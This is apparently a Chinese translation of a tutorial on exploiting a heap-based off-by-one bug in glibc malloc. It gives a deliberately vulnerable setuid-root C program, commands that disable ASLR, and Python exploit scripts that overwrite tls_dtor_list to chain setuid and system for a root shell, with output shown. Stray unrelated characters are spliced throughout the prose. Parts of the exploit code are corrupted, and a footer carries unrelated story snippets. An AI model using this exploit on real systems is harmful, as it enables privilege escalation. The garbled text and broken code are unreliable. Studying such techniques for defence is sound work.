Linux (x86) Exploit 開發(fā)系列教程之十一 Off-By-One 漏洞(基于堆)

Off-By-One 漏洞(基于堆)

譯者:飛龍

原文:Off-By-One Vulnerability (Heap Based)

預(yù)備條件:

  1. Off-By-One 漏洞(基于棧)
  2. 理解 glibc malloc

VM 配置:Fedora 20(x86)

什么是 Off-By-One 漏洞河哑?

這篇文章中提到過克握,將源字符串復(fù)制到目標(biāo)緩沖區(qū)可能造成 Off-By-One 漏洞漾橙,當(dāng)源字符串的長(zhǎng)度等于目標(biāo)緩沖區(qū)長(zhǎng)度的時(shí)候具壮。

當(dāng)源字符串的長(zhǎng)度等于目標(biāo)緩沖區(qū)長(zhǎng)度的時(shí)候聊浅,單個(gè) NULL 字符會(huì)復(fù)制到目標(biāo)緩沖區(qū)的上方。因此由于目標(biāo)緩沖區(qū)位于堆上,單個(gè) NULL 字節(jié)會(huì)覆蓋下一個(gè)塊的塊頭部,并且這會(huì)導(dǎo)致任意代碼執(zhí)行漫谷。

回顧:在這篇文章中提到,在每個(gè)用戶請(qǐng)求堆內(nèi)存時(shí)蹂析,堆段被劃分為多個(gè)塊舔示。每個(gè)塊有自己的塊頭部(由malloc_chunk表示)碟婆。malloc_chunk結(jié)構(gòu)包含下面四個(gè)元素:

  1. prev_size -- 如果前一個(gè)塊空閑,這個(gè)字段包含前一個(gè)塊的大小惕稻。否則前一個(gè)塊是分配的竖共,這個(gè)字段包含前一個(gè)塊的用戶數(shù)據(jù)。

  2. size:這個(gè)字符包含分配塊的大小缩宜。字段的最后三位包含標(biāo)志信息肘迎。

    • PREV_INUSE (P)如果前一個(gè)塊已分配,會(huì)設(shè)置這個(gè)位锻煌。
    • IS_MMAPPED (M)當(dāng)塊是 mmap 塊時(shí),會(huì)設(shè)置這個(gè)位姻蚓。
    • NON_MAIN_ARENA (N)當(dāng)這個(gè)塊屬于線程 arena 時(shí)宋梧,會(huì)設(shè)置這個(gè)位。
  3. fd指向相同 bin 的下一個(gè)塊狰挡。

  4. bk指向相同 bin 的上一個(gè)塊捂龄。

漏洞代碼:

//consolidate_forward.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define SIZE 16

int main(int argc, char* argv[])
{

 int fd = open("./inp_file", O_RDONLY); /* [1] */
 if(fd == -1) {
 printf("File open error\n");
 fflush(stdout);
 exit(-1);
 }

 if(strlen(argv[1])>1020) { /* [2] */
 printf("Buffer Overflow Attempt. Exiting...\n");
 exit(-2);
 }

 char* tmp = malloc(20-4); /* [3] */
 char* p = malloc(1024-4); /* [4] */
 char* p2 = malloc(1024-4); /* [5] */
 char* p3 = malloc(1024-4); /* [6] */

 read(fd,tmp,SIZE); /* [7] */
 strcpy(p2,argv[1]); /* [8] */

 free(p); /* [9] */
}

編譯命令:

#echo 0 > /proc/sys/kernel/randomize_va_space
$gcc -o consolidate_forward consolidate_forward.c
$sudo chown root consolidate_forward
$sudo chgrp root consolidate_forward
$sudo chmod +s consolidate_forward

注意:

出于我們的演示目的,關(guān)閉了 ASLR加叁。如果你也想要繞過 ASLR倦沧,使用信息泄露 bug,或者爆破機(jī)制它匕,在這篇文章中描述展融。

上述漏洞代碼的行[2][8]是基于堆的 off-by-one 溢出發(fā)生的地方。目標(biāo)緩沖區(qū)的長(zhǎng)度是 1020豫柬,因此長(zhǎng)度為 1020 的源字符串可能導(dǎo)致任意代碼執(zhí)行告希。

任意代碼執(zhí)行如何實(shí)現(xiàn)?

任意代碼執(zhí)行烧给,當(dāng)單個(gè) NULL 字節(jié)覆蓋下一個(gè)塊(p3)的塊頭部時(shí)實(shí)現(xiàn)燕偶。當(dāng)大小為 1020 字節(jié)(p2)的塊由單個(gè)字節(jié)溢出時(shí),下一個(gè)塊(p3)的頭部中的size的最低字節(jié)會(huì)被 NULL 字節(jié)覆蓋础嫡,并不是prev_size的最低字節(jié)指么。

為什么size的 LSB 會(huì)被覆蓋,而不是prev_size榴鼎?

checked_request2size將用戶請(qǐng)求的大小轉(zhuǎn)換為可用大胁堋(內(nèi)部表示的大小)檬贰,因?yàn)樾枰恍╊~外空間來儲(chǔ)存malloc_chunk姑廉,并且也出于對(duì)齊目的。轉(zhuǎn)換實(shí)現(xiàn)的方式是翁涤,可用大小的三個(gè)最低位始終不會(huì)為零(也就是 8 的倍數(shù)桥言,譯者注)萌踱,所以可以用于放置標(biāo)志信息 P、M 和 N号阿。

因此當(dāng)我們的漏洞代碼執(zhí)行malloc(1020)時(shí)并鸵,用戶請(qǐng)求大小 1020 字節(jié)會(huì)轉(zhuǎn)換為((1020 + 4 + 7) & ~7)字節(jié)(內(nèi)部表示大小)扔涧。1020 字節(jié)的分配塊的富余量?jī)H僅是 4 個(gè)字節(jié)园担。但是對(duì)于任何分配塊,我們需要 8 字節(jié)的塊頭部枯夜,以便儲(chǔ)存prev_sizesize信息弯汰。因此 1024 字節(jié)的前八字節(jié)會(huì)用于塊頭部,但是現(xiàn)在我們只剩下 1016(1024 - 8)字節(jié)用于用戶數(shù)據(jù)湖雹,而不是 1020 字節(jié)咏闪。但是像上面prev_size定義中所述,如果上一個(gè)塊(p2)已分配摔吏,塊(p3)的prev_size字段包含用戶數(shù)據(jù)鸽嫂。因此塊p3prev_size位于這個(gè) 1024 字節(jié)的分配塊p2后面,并包含剩余 4 字節(jié)的用戶數(shù)據(jù)征讲。這就是size的 LSB 被單個(gè) NULL 字節(jié)覆蓋据某,而不是prev_size的原因。

堆布局

1

注意:上述圖片中的攻擊者數(shù)據(jù)會(huì)在下面的“覆蓋tls_dtor_list”一節(jié)中解釋诗箍。

現(xiàn)在回到我們?cè)嫉膯栴}癣籽。

任意代碼執(zhí)行如何實(shí)現(xiàn)?

現(xiàn)在我們知道了扳还,在 off-by-one 漏洞中才避,單個(gè) NULL 字節(jié)會(huì)覆蓋下一個(gè)塊(p3size字段的 LSB。這單個(gè) NULL 字節(jié)的溢出意味著這個(gè)塊(p3)的標(biāo)志信息被清空氨距,也就是被溢出塊(p2)變成空閑塊桑逝,雖然它處于分配狀態(tài)。當(dāng)被溢出塊(p2)的標(biāo)志 P 被清空俏让,這個(gè)不一致的狀態(tài)讓 glibc 代碼 unlink 這個(gè)塊(p2)楞遏,它已經(jīng)在分配狀態(tài)。

這篇文章中我們看到首昔,unlink 一個(gè)已經(jīng)處于分配狀態(tài)的塊寡喝,會(huì)導(dǎo)致任意代碼執(zhí)行,因?yàn)槿魏嗡膫€(gè)字節(jié)的內(nèi)存區(qū)域都能被攻擊者的數(shù)據(jù)覆蓋勒奇。但是在同一篇文章中预鬓,我們也看到,unlink 技巧已經(jīng)廢棄赊颠,因?yàn)?glibc 近幾年來變得更加可靠格二。具體來說劈彪,因?yàn)椤半p向鏈表損壞”的條件,任意代碼執(zhí)行時(shí)不可能的顶猜。

但是在 2014 年末沧奴,Google 的 Project Zero 小組找到了一種方式,來成功繞過“雙向鏈表損壞”的條件长窄,通過 unlink large 塊滔吠。

unlink:

#define unlink(P, BK, FD) { 
  FD = P->fd; 
  BK = P->bk;
  // Primary circular double linked list hardening - Run time check
  if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) /* [1] */
   malloc_printerr (check_action, "corrupted double-linked list", P); 
  else { 
   // If we have bypassed primary circular double linked list hardening, below two lines helps us to overwrite any 4 byte memory region with arbitrary data!!
   FD->bk = BK; /* [2] */
   BK->fd = FD; /* [3] */
   if (!in_smallbin_range (P->size) 
   && __builtin_expect (P->fd_nextsize != NULL, 0)) { 
    // Secondary circular double linked list hardening - Debug assert
    assert (P->fd_nextsize->bk_nextsize == P);  /* [4] */
        assert (P->bk_nextsize->fd_nextsize == P); /* [5] */
    if (FD->fd_nextsize == NULL) { 
     if (P->fd_nextsize == P) 
      FD->fd_nextsize = FD->bk_nextsize = FD; 
     else { 
      FD->fd_nextsize = P->fd_nextsize; 
      FD->bk_nextsize = P->bk_nextsize; 
      P->fd_nextsize->bk_nextsize = FD; 
      P->bk_nextsize->fd_nextsize = FD; 
     } 
    } else { 
     // If we have bypassed secondary circular double linked list hardening, below two lines helps us to overwrite any 4 byte memory region with arbitrary data!!
     P->fd_nextsize->bk_nextsize = P->bk_nextsize; /* [6] */
     P->bk_nextsize->fd_nextsize = P->fd_nextsize; /* [7] */
    } 
   } 
  } 
}

在 glibc malloc 中,主要的環(huán)形雙向鏈表由malloc_chunkfdbk字段維護(hù)挠日,而次要的環(huán)形雙向鏈表由malloc_chunkfd_nextsizebk_nextsize字段維護(hù)疮绷。雙向鏈表的加固看起來用在主要(行[1])和次要(行[4][5])的雙向鏈表上,但是次要的環(huán)形雙向鏈表的加固肆资,只是個(gè)調(diào)試斷言語句(不像主要雙向鏈表加固那樣矗愧,是運(yùn)行時(shí)檢查),它在生產(chǎn)構(gòu)建中沒有被編譯(至少在 fedora x86 中)郑原。因此,次要的環(huán)形雙向鏈表的加固(行[4][5])并不重要夜涕,這讓我們能夠向任意 4 個(gè)字節(jié)的內(nèi)存區(qū)域?qū)懭肴魏螖?shù)據(jù)(行[6][7])犯犁。

然而還有一些東西應(yīng)該解釋,所以讓我們更詳細(xì)地看看女器,unlink large 塊如何導(dǎo)致任意代碼執(zhí)行酸役。由于攻擊者已經(jīng)控制了 -- 要被釋放的 large 塊,它覆蓋了malloc_chunk元素驾胆,像這樣:

  • fd應(yīng)該指向被釋放的塊涣澡,來繞過主要環(huán)形雙向鏈表的加固。
  • bk也應(yīng)該指向被釋放的塊丧诺,來繞過主要環(huán)形雙向鏈表的加固入桂。
  • fd_nextsize應(yīng)該指向free_got_addr – 0x14
  • bk_nextsize應(yīng)該指向system_addr驳阎。

但是根據(jù)行[6][7]抗愁,需要讓fd_nextsizebk_nextsize都是可寫的。fd_nextsize是可寫的呵晚,(因?yàn)樗赶蛄?code>free_got_addr – 0x14)蜘腌,但是bk_nextsize不是可寫的,因?yàn)樗赶蛄?code>system_addr饵隙,它屬于libc.so的文本段撮珠。讓fd_nextsizebk_nextsize都可寫的問題,可以通過覆蓋tls_dtor_list來解決金矛。

覆蓋tls_dtor_list

tls_dtor_list是個(gè)線程局部的變量芯急,它包含函數(shù)指針的列表勺届,它們?cè)?code>exit過程中調(diào)用。__call_tls_dtors遍歷tls_dtor_list并依次調(diào)用函數(shù)志于。因此如果我們可以將tls_dtor_list覆蓋為堆地址涮因,它包含systemsystem_arg,來替代dtor_listfuncobj伺绽,我們就能調(diào)用system养泡。

2

所以現(xiàn)在攻擊者需要覆蓋要被釋放的 large 塊的malloc_chunk元素,像這樣:

  • fd應(yīng)該指向被釋放的塊奈应,來繞過主要環(huán)形雙向鏈表的加固澜掩。
  • bk也應(yīng)該指向被釋放的塊,來繞過主要環(huán)形雙向鏈表的加固杖挣。
  • fd_nextsize應(yīng)該指向tls_dtor_list - 0x14肩榕。
  • bk_nextsize應(yīng)該指向含有dtor_list元素的堆地址。

fd_nextsize可寫的問題解決了惩妇,因?yàn)?code>tls_dtor_list屬于libc.so的可寫區(qū)段株汉,并且通過反匯編_call_tls_dtors()tls_dtor_list的地址為0xb7fe86d4歌殃。

bk_nextsize可寫的問題也解決了乔妈,因?yàn)樗赶蚨训刂贰?/p>

使用所有這些信息,讓我們編寫利用程序來攻擊漏洞二進(jìn)制的“前向合并”氓皱。

利用代碼:

#exp_try.py
#!/usr/bin/env python
import struct
from subprocess import call

fd = 0x0804b418
bk = 0x0804b418
fd_nextsize = 0xb7fe86c0
bk_nextsize = 0x804b430
system = 0x4e0a86e0
sh = 0x80482ce

#endianess convertion
def conv(num):
 return struct.pack("<I",num(fd)
buf += conv(bk)
buf += conv(fd_nextsize)
buf += conv(bk_nextsize)
buf += conv(system)
buf += conv(sh)
buf += "A" * 996

print "Calling vulnerable program"
call(["./consolidate_forward", buf])

執(zhí)行上述利用代碼不會(huì)向我們提供 root shell路召。它向我們提供了一個(gè)運(yùn)行在我們的權(quán)限級(jí)別的 bash shell。嗯...

$ python -c 'print "A"*16' > inp_file
$ python exp_try.py 
Calling vulnerable program
sh-4.2$ id
uid=1000(sploitfun) gid=1000(sploitfun) groups=1000(sploitfun),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sh-4.2$ exit
exit
$

為什么不能獲得 root shell波材?

當(dāng)uid != euid時(shí)股淡,/bin/bash會(huì)丟棄權(quán)限。我們的二進(jìn)制“前向合并”的真實(shí) uid 是 1000廷区,但是它的有效 uid 是 0唯灵。因此當(dāng)system調(diào)用時(shí),bash 會(huì)丟棄權(quán)限躲因,因?yàn)檎鎸?shí) uid 不等于有效 uid早敬。為了解決這個(gè)問題,我們需要在system之前調(diào)用setuid(0)大脉,因?yàn)?code>_call_tls_dtors()依次遍歷tls_dtor_list搞监,我們需要將setuidsystem鏈接,以便獲得 root shell镰矿。

完整的利用代碼:

#gen_file.py
#!/usr/bin/env python
import struct

#dtor_list
setuid = 0x4e123e30
setuid_arg = 0x0
mp = 0x804b020
nxt = 0x804b430

#endianess convertion
def conv(num):
 return struct.pack("<I",num(setuid)
tst += conv(setuid_arg)
tst += conv(mp)
tst += conv(nxt)

print tst
-----------------------------------------------------------------------------------------------------------------------------------
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call

fd = 0x0804b418
bk = 0x0804b418
fd_nextsize = 0xb7fe86c0
bk_nextsize = 0x804b008
system = 0x4e0a86e0
sh = 0x80482ce

#endianess convertion
def conv(num):
 return struct.pack("<I",num(fd)
buf += conv(bk)
buf += conv(fd_nextsize)
buf += conv(bk_nextsize)
buf += conv(system)
buf += conv(sh)
buf += "A" * 996

print "Calling vulnerable program"
call(["./consolidate_forward", buf])

執(zhí)行上述利用代碼會(huì)給我們 root shell琐驴。

$ python gen_file.py > inp_file
$ python exp.py 
Calling vulnerable program
sh-4.2# id
uid=0(root) gid=1000(sploitfun) groups=0(root),10(wheel),1000(sploitfun) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sh-4.2# exit
exit
$

我們的 off-by-one 漏洞代碼會(huì)向前合并塊,也可以向后合并。這種向后合并 off-by-one 漏洞代碼也可以利用绝淡。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末宙刘,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子牢酵,更是在濱河造成了極大的恐慌悬包,老刑警劉巖,帶你破解...
    沈念sama閱讀 218,525評(píng)論 6 507
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件馍乙,死亡現(xiàn)場(chǎng)離奇詭異布近,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī)丝格,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,203評(píng)論 3 395
  • 文/潘曉璐 我一進(jìn)店門撑瞧,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人显蝌,你說我怎么就攤上這事预伺。” “怎么了曼尊?”我有些...
    開封第一講書人閱讀 164,862評(píng)論 0 354
  • 文/不壞的土叔 我叫張陵酬诀,是天一觀的道長(zhǎng)。 經(jīng)常有香客問我骆撇,道長(zhǎng)料滥,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,728評(píng)論 1 294
  • 正文 為了忘掉前任艾船,我火速辦了婚禮,結(jié)果婚禮上高每,老公的妹妹穿的比我還像新娘屿岂。我一直安慰自己,他們只是感情好鲸匿,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,743評(píng)論 6 392
  • 文/花漫 我一把揭開白布爷怀。 她就那樣靜靜地躺著,像睡著了一般带欢。 火紅的嫁衣襯著肌膚如雪运授。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,590評(píng)論 1 305
  • 那天乔煞,我揣著相機(jī)與錄音吁朦,去河邊找鬼。 笑死渡贾,一個(gè)胖子當(dāng)著我的面吹牛逗宜,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 40,330評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼纺讲,長(zhǎng)吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼擂仍!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起熬甚,我...
    開封第一講書人閱讀 39,244評(píng)論 0 276
  • 序言:老撾萬榮一對(duì)情侶失蹤逢渔,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后乡括,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體肃廓,經(jīng)...
    沈念sama閱讀 45,693評(píng)論 1 314
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,885評(píng)論 3 336
  • 正文 我和宋清朗相戀三年粟判,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了亿昏。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 40,001評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡档礁,死狀恐怖角钩,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情呻澜,我是刑警寧澤递礼,帶...
    沈念sama閱讀 35,723評(píng)論 5 346
  • 正文 年R本政府宣布,位于F島的核電站羹幸,受9級(jí)特大地震影響脊髓,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜栅受,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,343評(píng)論 3 330
  • 文/蒙蒙 一将硝、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧屏镊,春花似錦依疼、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,919評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至棍丐,卻和暖如春误辑,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背歌逢。 一陣腳步聲響...
    開封第一講書人閱讀 33,042評(píng)論 1 270
  • 我被黑心中介騙來泰國(guó)打工巾钉, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人趋翻。 一個(gè)月前我還...
    沈念sama閱讀 48,191評(píng)論 3 370
  • 正文 我出身青樓睛琳,卻偏偏與公主長(zhǎng)得像盒蟆,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子师骗,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,955評(píng)論 2 355

推薦閱讀更多精彩內(nèi)容